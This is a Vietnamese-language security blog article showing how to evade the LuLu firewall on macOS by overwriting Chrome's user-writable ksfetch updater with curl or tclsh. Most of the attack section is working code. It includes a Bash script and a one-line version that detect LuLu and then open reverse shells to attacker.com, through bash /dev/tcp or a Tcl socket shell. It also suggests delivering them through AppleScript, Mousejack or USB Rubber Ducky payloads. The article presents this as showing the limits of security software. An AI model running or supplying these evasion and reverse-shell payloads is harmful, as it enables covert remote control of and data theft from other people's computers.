Các giải pháp tường lửa cho macOS không bị tấn công.

Bằng cách tận dụng các phụ thuộc trình duyệt web đã được tường lửa đưa vào danh sách trắng, kẻ tấn công có thể lọc dữ liệu hoặc điều khiển từ xa MacBook, iMac, Mac mini hoặc một máy tính khác chạy macOS (trước đây gọi là Mac OS X).Trong một bài viết gần đây, Kody đã trình diễn cách thiết lập và cài đặt LuLu , một giải pháp tường lửa nguồn mở cho macOS. Mặc dù tôi chưa bao giờ thử LuLu trước đây, nhưng nó luôn có vẻ như là một sự thay thế đáng tin cậy và miễn phí cho Little Snitch . Sau khi cài đặt LuLu, tôi bắt đầu cố gắng tìm cách vượt qua hệ thống phát hiện của nó.

 

Bước 1 Cài đặt LuLu lần đầu tiên

Trong quá trình cài đặt, LuLu bắt đầu tìm và liệt kê các ứng dụng Mac đã được cài đặt trong hệ điều hành.

Nếu hệ thống của tôi bị xâm phạm trước khi cài đặt LuLu, nó có thể bỏ lỡ một kết nối ngoài đáng ngờ và vô tình đưa danh sách trắng vào hoạt động. Vì lý do đó, tôi đã chọn không sử dụng tính năng đó. Tất cả các kết nối không phải của Apple sẽ được báo cáo và yêu cầu tương tác người dùng.

Tôi cũng mất vài phút để loại bỏ một số ứng dụng trong danh sách trắng dường như không cần thiết và giảm thiểu bề mặt tấn công. Nếu chúng ta xem xét các chương trình còn lại, tất cả chúng đều nằm trong các thư mục được bảo vệ không thể sửa đổi với đặc quyền người dùng (nghĩa là không có root).

Ảnh trên cùng: Phần mềm tối thiểu được đưa vào danh sách trắng sau khi cài đặt LuLu. Ảnh dưới cùng: Không có phần mềm bên thứ ba bổ sung (ví dụ: Chrome, Firefox, VLC).

Mở Google Chrome lần đầu tiên sau khi cài đặt LuLu, quy trình Trình trợ giúp Chrome đã cố gắng liên hệ với internet qua yêu cầu DNS.

Hoạt động này được cho phép trong nỗ lực không phá vỡ chức năng của ứng dụng. Cuối cùng Chrome đã cố gắng tự cập nhật bằng các quy trình ksfetch và GoogleSoftwareUpdateAgent . Ksfetch và tác nhân cập nhật là các cơ chế nổi tiếng của Google Chrome. Cả hai trường hợp đều được cho phép vì Chrome có thể không cập nhật trong tương lai mà không có chúng.

Ảnh trên cùng: ksfetch. Hình dưới cùng: GoogleSoftwareUpdateAgent.

Một cái nhìn khác về các quy tắc do người dùng chỉ định của LuLu, ksfetch và GoogleSoftwareUpdateAgent có thể được tìm thấy là “được phép” ngoài một số chương trình của Apple yêu cầu quyền truy cập vào internet.

Đó là tất cả để thiết lập LuLu với một trình duyệt web duy nhất. Bất kỳ quy trình nền nào bên ngoài Chrome và các phụ thuộc của nó khi cố gắng liên hệ với máy chủ từ xa đều bị ngăn chặn.

Quá trình Netcat (nc) bị ngăn kết nối với máy chủ của kẻ tấn công.

Bước 2 Bỏ qua LuLu với các ứng dụng đã cài đặt

Việc bỏ qua được thực hiện do quyền truy cập tệp và thư mục yếu được gán cho một số ứng dụng của bên thứ ba được cài đặt bên ngoài App Store . Chúng ta hãy xem các quyền của tệp cho trình duyệt Google Chrome, được cài đặt trực tiếp từ Google thông qua trình cài đặt DMG .

~$ ls -l /Applications/

total 0
drwxr-xr-x   3 root       admin    96B Jun 12 03:23 1Password 7.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 Calculator.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 FaceTime.app
drwxr-xr-x@  3 tokyoneon  admin    96B Jun  4 08:50 Google Chrome.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 Home.app
drwxr-xr-x@  3 root       wheel    96B Aug 18  2018 Image Capture.app

Lưu ý rằng ứng dụng Google Chrome thuộc sở hữu của người dùng chứ không phải “root” như các ứng dụng khác. Và với cái nhìn khác về các quy tắc ksfetch và GoogleSoftwareUpdateAgent trong LuLu, chúng tôi sẽ nhận thấy cả hai tệp nhị phân đều nằm trong thư mục / Users / $ USER / Library /.

Ngoài các tệp trong thư mục Chrome, người dùng có thể sửa đổi các tệp nhị phân này. Để rõ ràng, mọi tệp trong / Người dùng / $ USER / Thư viện / và / Ứng dụng / Google \ Chrome.app/ là trò chơi công bằng cho kẻ tấn công và dễ dàng sửa đổi.

Lệnh dưới đây sẽ ghi đè ksfetch bằng curl , không được đưa vào danh sách trắng trong tường lửa LuLu.

~$ cp /usr/bin/curl /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

Mặc dù cuộn tròn không được đưa vào danh sách trắng, kẻ tấn công vẫn có thể truy cập internet theo cách này.

~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch "https://ifconfig.me/all"

ip_addr: 198.251.89.219
remote_host: unavaiable
user_agent: curl/7.54.0
port: 28596
language:
referer:
connection:
keep_alive:
method: GET
encoding:
mime: */*
charset:
via: 1.1 google
forwarded: 198.251.89.219, 216.239.36.21~

Ksfetch được sử dụng trong ví dụ này, nhưng GoogleSoftwareUpdateAgent và Google Chrome có thể được ghi đè và sử dụng để thiết lập kết nối với máy chủ từ xa hoặc lọc dữ liệu. Tất nhiên, việc ghi đè Chrome sẽ phá vỡ các chức năng của trình duyệt. Nhưng tại thời điểm đó, một kẻ tấn công đã hoàn thành thông tin nhạy cảm. Với kiến ​​thức này, chúng tôi có thể thiết lập tải trọng vỏ đảo ngược và điều khiển máy Mac từ xa từ mọi nơi.

Bước 3 Ghi đè Ksfetch bằng Tclsh

Ví dụ sau sử dụng lệnh tclsh , sẽ tạo ra một lớp vỏ tương tác Bash mà kẻ tấn công có thể sử dụng để thực thi các lệnh từ xa. Để có biện pháp tốt, các nhị phân tclsh và symlink đã bị chặn thủ công trong tường lửa.

Là một người dùng đặc quyền thấp, nhị phân tclsh được sao chép qua ksfetch, nó hoàn toàn ghi đè lên tệp và các chức năng của nó.

~$ cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

Lệnh tclsh được gọi bằng cách gọi trực tiếp nhị phân ksfetch . Từ thiết bị đầu cuối tương tác này, các lệnh được thực thi chính xác như với vỏ Netcat hoặc Bash.

~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

% ls -la /
total 36
drwxr-xr-x@   2 root  wheel     64 Jun 25 09:57 .PKInstallSandboxManager-SystemSoftware
drwx------    5 root  wheel    160 Jun  5 19:36 .Spotlight-V100
drwxrwxr-x+ 138 root  admin   4416 Jun 25 09:54 Applications
drwxr-xr-x+  70 root  wheel   2240 Jun  5 19:37 Library
drwxr-xr-x@   2 root  wheel     64 Oct  5  2018 Network
drwxr-xr-x@   5 root  wheel    160 Sep 21  2018 System
drwxr-xr-x    6 root  admin    192 May 10 17:34 Users
drwxr-xr-x@   5 root  wheel    160 Jun 25 18:51 Volumes
drwxr-xr-x@  37 root  wheel   1184 May 22 11:14 bin
drwxrwxr-t@   2 root  admin     64 Oct  5  2018 cores
dr-xr-xr-x    3 root  wheel   7834 Jun 25 09:50 dev
lrwxr-xr-x@   1 root  wheel     11 Oct  5  2018 etc -> private/etc
dr-xr-xr-x    2 root  wheel      1 Jun 25 16:57 home
dr-xr-xr-x    2 root  wheel      1 Jun 25 16:57 net
drwxr-xr-x    3 root  wheel     96 Oct  3  2018 opt
drwxr-xr-x    6 root  wheel    192 Jun  5 17:49 private
drwxr-xr-x@  64 root  wheel   2048 May 22 11:14 sbin
lrwxr-xr-x@   1 root  wheel     11 Oct  5  2018 tmp -> private/tmp
drwxr-xr-x@   9 root  wheel    288 Sep 21  2018 usr
lrwxr-xr-x@   1 root  wheel     11 Oct  5  2018 var -> private/var

% uname -a
Darwin User-MacBook.local 18.6.0 Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDF 2019; root:xnu-4903.261.4~2/RELEASE_X86_64 x86_64
%

Bước 4 Thiết kế tải trọng với Active Evasion

Vậy, làm thế nào kẻ tấn công biết nếu hệ điều hành đã cài đặt LuLu để bắt đầu? Có thể liệt kê phần mềm bảo mật đã cài đặt bằng cách thực hiện kiểm tra gói và quan sát các bản cập nhật tự động của LuLu. Tuy nhiên, thay vào đó, chúng tôi sẽ có các dấu hiệu phát hiện tải trọng của LuLu trước khi thực hiện bất kỳ lệnh nào.

Trong ví dụ dưới đây, các quy trình nền được kiểm tra bằng lệnh ps . Như chúng ta có thể thấy, một số quy trình sử dụng tên “LuLu” đang hoạt động.

~$ ps auxwww | grep -i [l]ulu

root                94   0.3  0.7  4349052  28088   ??  Rs    1:33AM   0:18.59 /Library/Objective-See/LuLu/LuLu.bundle/Contents/MacOS/LuLu
tokyoneon          291   0.0  0.8  4924936  35092   ??  S     1:34AM   0:01.10 /Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper

Một câu lệnh Bash if đơn giản , được nhúng trong AppleScript , có thể phát hiện hiệu quả quá trình LuLu.

#!/bin/bash

if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
    echo "LuLu not found."
else
    echo "LuLu detected."
fi

Một tập lệnh thực tế vượt ra ngoài việc phát hiện các quy trình LuLu và tự động ghi đè các tệp nhị phân Google Chrome có thể xuất hiện như sau.

#!/bin/bash

# The `ps` command is used to view active processes and
# locate LuLu running in the background with `grep`.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then

    # An arbitrary `echo` command. If LuLu is not found the
    # following commands will execute. An example Bash
    # reverse shell is included.
    echo "LuLu not found. Hack the planet!"
    /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1
else
    # Arbitrary `echo` command with sad face.
    echo "Lulu detected :("

    # Copy the `tclsh` binary over `ksfetch`.
    /bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch

    # TCL reverse shell, covered in the below article.
    # https://null-byte.com/tcl-0186330/
    echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch &

    # Another `echo` command.
    echo "Bypass LuLu and hack the planet!"
fi

Kịch bản có thể được cô đọng thành một dòng để hoạt động độc đáo với AppleScripts , tấn công Mousejack ,  và tải trọng USB Rubber Ducky .

if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1; else /bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch && echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch & fi

Nếu Chrome không được cài đặt trên hệ thống đích, thì một sự phụ thuộc khác của trình duyệt thay thế là vô số với một số nỗ lực. Khám phá (các) trình duyệt đã cài đặt có thể xuất hiện như hình bên dưới.

#!/bin/bash

if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
    echo "LuLu not found."
else
    echo "LuLu detected."
    if [[ -d "/Applications/Google Chrome.app/" ]]; then
        echo "Chrome browser detected. Overriding Ksfetch..."
    elif [[ -d "/Applications/Firefox.app/" ]]; then
        echo "Firefox detected. Overriding <unknown>..."
    elif [[ -d "/Applications/Opera.app/" ]]; then
        echo "Opera detected. Overriding <unknown>..."
    else
        echo "Uh-oh, we're out of browsers to exploit..."
    fi
fi

Xác định sự không phù hợp với Bypass

LuLu sẽ cho phép ksfetch (tclsh) truy cập internet với hầu hết các nỗ lực, nhưng không phải lúc nào cũng vậy. Vào một dịp nọ, tôi thấy việc khởi động lại MacBook đã khiến việc bỏ qua không thành công và kích hoạt hệ thống phát hiện của LuLu mặc dù ksfetch và các tệp nhị phân Chrome khác đã được đưa vào danh sách trắng.

Tôi đã không dành nhiều thời gian với LuLu nhưng khuyến khích bất cứ ai quan tâm đến cuộc tấn công này tìm hiểu khi nào và tại sao đôi khi nó sẽ dừng các quy trình trong danh sách trắng.

Không có phần mềm bảo mật nào là hoàn hảo

Bài viết này không có nghĩa là một cuộc tấn công vào các nhà phát triển của LuLu . Nó chỉ minh họa cách phần mềm bảo mật không hoàn hảo và không có hệ thống nào được bảo vệ hoàn toàn trong khi sử dụng nó.

LuLu là một giải pháp tường lửa tuyệt vời được thiết kế để ngăn chặn các cuộc tấn công thụ động và phổ biến. Giống như hầu hết các phần mềm, nó không được thiết kế để chống lại một cuộc tấn công có chủ đích liên quan đến việc trốn tránh hoạt động . Điều này có nghĩa là chúng ta nên ngừng sử dụng LuLu và các giải pháp bảo mật khác? Tuyệt đối không. Mặc dù lỗ hổng này dễ dàng được sao chép và không được coi là một lỗ hổng đáng kể, phần mềm tường lửa như LuLu vẫn có thể ngăn chặn các cuộc tấn công. Ví dụ, với kết nối tclsh đã được thiết lập, kẻ tấn công bị giới hạn ở một số công cụ tích hợp không có trong danh sách trắng trong tường lửa. Tải xuống phần mềm bổ sung hoặc lọc dữ liệu khó khăn hơn nhiều, nhờ LuLu.

Để lại một bình luận